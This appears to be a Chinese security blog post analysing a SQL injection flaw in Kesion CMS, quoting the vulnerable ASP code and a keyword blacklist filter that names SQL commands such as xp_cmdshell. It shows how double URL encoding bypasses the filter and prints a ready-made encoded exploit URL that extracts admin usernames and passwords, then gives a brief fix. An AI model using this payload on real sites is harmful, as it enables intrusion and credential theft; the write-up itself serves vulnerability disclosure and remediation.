Kesion cms注入漏洞分析及其修复方案

所属分类: 网络安全 / 漏洞分析 阅读数: 2072
收藏 0 赞 0 分享
函数过滤混乱导致注入

复制代码
代码如下:

Dim KS:Set KS=New PublicCls
Dim Action
Action=KS.S("Action")
Select Case Action
Case "Ctoe" CtoE
Case "GetTags" GetTags
Case "GetRelativeItem" GetRelativeItem //问题函数
...skip...
Case "getonlinelist" getonlinelist
End Select
Sub GetRelativeItem() //漏洞函数开始
Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置,只调用ks.s函数,无其它过滤。
Dim Rtitle:rtitle=lcase(KS.G("rtitle"))
Dim RKey:Rkey=lcase(KS.G("Rkey"))
Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))
Dim ID:ID=KS.ChkClng(KS.G("ID"))
Dim Param,RS,SQL,k,SqlStr
If Key<>"" Then
If (Rtitle="true" Or RKey="true") Then
If Rtitle="true" Then
param=Param & " title like '%" & key & "%'"//类似搜索型注入漏洞。
end if
If Rkey="true" Then
If Param="" Then
Param=Param & " keywords like '%" & key & "%'"
Else
Param=Param & " or keywords like '%" & key & "%'"
End If
End If
Else
Param=Param & " keywords like '%" & key & "%'"
End If
End If
If Param<>"" Then
Param=" where InfoID<>" & id & " and (" & param & ")"
else
Param=" where InfoID<>" & id
end if
If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID
Param=Param & " and verific=1"
SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查询
Set RS=Server.CreateObject("ADODB.RECORDSET")
RS.Open SqlStr,conn,1,1
If Not RS.Eof Then
SQL=RS.GetRows(-1)
End If
RS.Close

 先进行了过滤,然后才调用UnEscape解码,
 
复制代码
代码如下:

Public Function S(Str)
S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))
Function DelSql(Str)
Dim SplitSqlStr,SplitSqlArr,I
SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell"
SplitSqlArr = Split(SplitSqlStr,"|")
For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)
If Instr(LCase(Str),SplitSqlArr(I))>0 Then
Die "<script>alert('系统警告!\n\n1、您提交的数据有恶意字符" & SplitSqlArr(I) &";\n2、您的数据已经被记录;\n3、您的IP:"&GetIP&";\n4、操作日期:"&Now&";\n Powered By Kesion.Com!');window.close();</script>"
End if
Next
DelSql = Str
End Function

 如果配合Unescape()函数,刚过滤不会生效。可以采用unicode编码方式,则不会在浏览器中出现被过滤的字符。例如,单引号可以编码为。%2527,经过解码后还是“'”号,这样的话,就可以利用类似php的二次编码漏洞的方式绕过过滤了。
注入语句:%') union select 1,2,username+'|'+ password from KS_Admin
 转换如下:
 /plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500
 修复方案:
UnEscape()函数调用位置放在函数体内,或者不调用。
更多精彩内容其他人还在看

Uread阅读器拒绝服务漏洞的分析与解决

Uread阅读器在远程或本地打开文件名过长(大于或等于129个字符)的upub等文件时将引起uread.exe程序无法正常工作,必须重新启动uread.exe进程方可。
收藏 0 赞 0 分享

淇晨科技网站管理系統默认漏洞的分析

分析一下一个网站的漏洞
收藏 0 赞 0 分享

Kesion cms注入漏洞分析及其修复方案

Kesion cms注入漏洞.我们来分析一下
收藏 0 赞 0 分享

中关村在线博客子站SQL注入及修复方案

分析一下中关村的博客的漏洞
收藏 0 赞 0 分享

时时送订单系统后台登陆框post注入的方法介绍以及修复方案

通过post注入来研究一下漏洞
收藏 0 赞 0 分享

KindEditor上传解析漏洞、列目录、内容漏洞

KindEditor是一套开源的HTML可视化编辑器,主要用于让用户在网站上获得所见即所得编辑效果,兼容IE、Firefox、Chrome、Safari、Opera等主流浏览器,但是安全问题也不容忽视,下面来简单分析下
收藏 0 赞 0 分享

服务器上网站被挂Iframe木马的解决方法

今天访问公司的一个网站,突然发现网页显示不对,右键查看HTML代码,发现iframe了一个网站的js文件,不用说,肯定被挂马了
收藏 0 赞 0 分享

WordPress 4.0以下版本存在跨站脚本漏洞

WordPress是著名的开源CMS(内容管理)系统。近日,在4.0版本以下的Wordpress被发现存在跨站脚本漏洞(XSS),新版本的Wordpress已经修复了这些问题。为了安全起见,建议站长们尽早更新到WP新版本。
收藏 0 赞 0 分享

历史悠久的3个经典网站安全漏洞介绍

这篇文章主要介绍了历史悠久的3个经典网站安全漏洞介绍,互联网项目里边,SQL注入漏洞、XSS漏洞和猜测URL攻击这三个漏洞可谓历史悠久,本文就一一介绍了它们的原理等,需要的朋友可以参考下
收藏 0 赞 0 分享

Kindeditor遍历目录0DAY问题

KindEditor是一套开源的HTML可视化编辑器,主要用于让用户在网站上获得所见即所得编辑效果,兼容IE、Firefox、Chrome、Safari、Opera等主流浏览器
收藏 0 赞 0 分享
查看更多